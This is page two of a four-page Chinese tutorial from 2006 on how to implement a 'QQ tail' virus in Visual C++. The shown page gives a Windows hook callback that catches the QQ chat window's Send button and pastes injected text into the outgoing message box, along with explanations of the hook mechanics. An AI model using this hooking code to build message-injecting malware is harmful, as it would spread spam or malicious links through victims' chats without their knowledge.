网络安全参考 | UNIX参考 | GPS参考 | 无线参考 | 在线手册 | OSBUG.ORG | SUNNY-NETWORK.COM
网站地图 RSS订阅
高级搜索 收藏本站
Home | 业界动态 | 防火墙 | IDS/IPS | VPN | PKI | Honeypot | Hacker/Intruder | 黑客技术 | 破解技术 | 加密技术 | 病毒防护 | 木马 | 反垃圾邮件 | 反流氓软件 | 漏洞 | 无线安全 | UNIX | Windows | 安全编程 | 安全软件 | TPM/TCG | 数据恢复 | 企业信息安全 | 个人信息安全
 当前位置: Home > 安全编程 > 文章  
QQ尾巴病毒的Visual C++实现探讨
文章来源: 赛迪网技术社区 文章作者: lvvl 发布时间: 2006-09-12   字体: [ ]
 
   

// 钩子过程,监视“发送”的命令消息
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
 CWPSTRUCT *p = (CWPSTRUCT *)lParam;
 // 捕获“发送”按钮
 if (p->message == WM_COMMAND && LOWORD(p->wParam) == 1)
  PasteText(g_hRich);
 return CallNextHookEx(g_hProc, nCode, wParam, lParam);
}

  在此我对这个回调过程说明几点:

  1、lParam是一个指向CWPSTRUCT结构的指针,这个结构的描述如下:

typedef struct {
 LPARAM lParam;
 WPARAM wParam;
 UINT message;
 HWND hwnd;
} CWPSTRUCT, *PCWPSTRUCT;

  这时候像我一样的SDK fans也许会会心一笑:这不是窗口回调的那四个铁杆参数么?如你所说,的确是这样,你甚至可以使用switch (p->message) { /* ... */ }这样的代码写成的钩子函数来全面接管QQ窗口。

  2、g_hRich是一个全局变量,它保存的是QQ消息文本框的句柄。这里之所以采用全局变量,是因为我无法从键盘钩子回调函数的参数中获得这个句柄。至于如何获得这个句柄以及这个全局变量的特殊位置,我会在稍后说明。

  3、CallNextHookEx是调用钩子链中的下一个处理过程,换了钦差就会说:“十坛杏花村酒本钦差已经替皇上收下了,现在请巡抚大人把贵省正常的赋税交上来吧。”(-_-#……)这是书写钩子函数中很重要的一个环节,如果少了这一句,那么可能会导致系统的钩子链出现错误,某些程序也会没有响应——事实上我在编写这个仿真程序的时候QQ就当掉了几回。

  4、你也许会问为什么我捕获的是WM_COMMAND消息,这个原因让我来用下面的SDK代码(虽然QQ是用MFC写的,但是用SDK代码才能说明WM_COMMAND和“发送”按钮的关系)来说明:

#define IDC_BTN_SENDMSG 1 // “发送”按钮ID的宏定义
// QQ发送消息对话框回调过程·李马伪造版
LRESULT CALLBACK ProcSendDlg(HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam)
{
 switch (Msg)
 {
  case WM_CLOSE:
   EndDialog(hDlg, 0);
   break;
  case WM_COMMAND:
  {
   switch (LOWORD(wParam))
   {
    case IDC_BTN_SENDMSG:
     // 发送消息...
     break;
     // 其它的命令按钮处理部分...
   }
  }
  break;
  // 其它的case部分...
 }
 return 0;
}

 
推荐文章
·洪水攻击原理及代码实现全攻略(
·原始套接字透析之综合实例:网络
·原始套接字透析之实现IP地址欺骗
·原始套接字透析之ARP欺骗
·原始套接字透析之实现包分析
·原始套接字透析之实现sniffer
·原始套接字透析之实现路由欺骗
·原始套接字透析之ICMP拒绝服务攻
·原始套接字透析之实现Ping
·原始套接字透析之Raw Socket基础
·黑客之旅 -- 原始套接字透析之前
·安全编程: 安全地调用组件
·安全编程: 验证输入
·安全编程: 警惕输入
 

 
共4页: 上一页 [1] 2 [3] [4] 下一页
↑返回顶部   打印本页   关闭窗口↓  

Google
 
Web oldhand.org unixreference.net meshmea.org
热点文章
·原始套接字透析之Raw So
·原始套接字透析之ARP欺
·洪水攻击原理及代码实现
·原始套接字透析之综合实
·原始套接字透析之实现Pi
·黑客之旅 -- 原始套接字
·使用 OpenSSL API 进行
·安全编程: 警惕输入
相关分类
相关文章
·黑客之旅 -- 原始套接字
·原始套接字透析之Raw So
·原始套接字透析之实现Pi
·原始套接字透析之实现路
·原始套接字透析之实现sn
·原始套接字透析之实现包
·原始套接字透析之实现IP
·洪水攻击原理及代码实现
更多...
 
 

Copyright(c) 2001-2008 OLDHAND ORGANIZATION, All Rights reserved.
Power by DedeCms 织梦内容管理系统
$Id: article_article.html,v 1.3 2007/02/10 12:00:37 yjs Exp $